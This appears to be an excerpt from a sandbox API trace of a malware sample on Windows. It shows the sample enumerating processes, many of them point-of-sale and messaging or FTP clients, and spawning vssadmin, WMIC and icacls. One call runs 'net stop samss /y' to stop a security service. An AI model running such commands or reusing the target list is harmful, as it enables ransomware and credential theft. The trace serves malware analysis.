	[0262.002] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0262.004] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0262.006] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0262.008] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0262.010] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0262.012] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0262.014] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0262.016] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0262.018] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0262.019] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0262.021] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0262.023] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0262.025] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0262.211] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0262.212] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0262.214] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0262.216] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0262.217] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0262.219] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0262.221] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0262.222] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0262.224] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0262.226] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0262.228] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0262.230] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0262.231] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0262.233] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0262.235] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan purchases.exe")) returned 1
	[0262.237] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana.exe")) returned 1
	[0262.238] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="floppy.exe")) returned 1
	[0262.240] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="computed kernel.exe")) returned 1
	[0262.242] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0262.243] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0xad0, pcPriClassBase=8, dwFlags=0x0, szExeFile="uZkoH.exe")) returned 1
	[0262.245] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x85, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="fMRKmiSrvlan.exe")) returned 1
	[0262.513] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf4, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="HovnaLKnSlan.exe")) returned 1
	[0262.515] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0262.517] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0262.519] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0262.521] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0262.523] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0262.525] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0262.527] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0262.529] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0262.531] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0262.533] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0262.535] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0262.537] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x307c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ae0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0262.539] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x30cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ad8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0262.541] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x364c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0262.543] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3b4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0262.545] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3b4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0262.546] CloseHandle (hObject=0x758) returned 1
	[0262.546] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x424220
	[0262.654] EnumServicesStatusW (in: hSCManager=0x424220, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0 | out: lpServices=0x0, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0) returned 0
	[0262.654] VirtualAlloc (lpAddress=0x0, dwSize=0x1828, flAllocationType=0x1000, flProtect=0x40) returned 0x8b00000
	[0262.655] EnumServicesStatusW (in: hSCManager=0x424220, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8b00000, cbBufSize=0x1828, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0 | out: lpServices=0x8b00000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0) returned 1
	[0262.656] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0267.553] Sleep (dwMilliseconds=0x96) 
	[0268.112] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.113] Sleep (dwMilliseconds=0xc350) 
	[0278.299] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x8a8
	[0278.344] Process32FirstW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0278.533] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0278.535] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0278.537] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0278.539] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0278.541] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0278.543] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0278.545] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0278.547] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0278.549] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0278.551] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0278.553] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0278.555] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0278.556] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0278.558] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0278.560] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0278.562] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0278.843] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0278.845] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0278.847] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0278.849] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0278.850] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0278.852] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0278.854] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
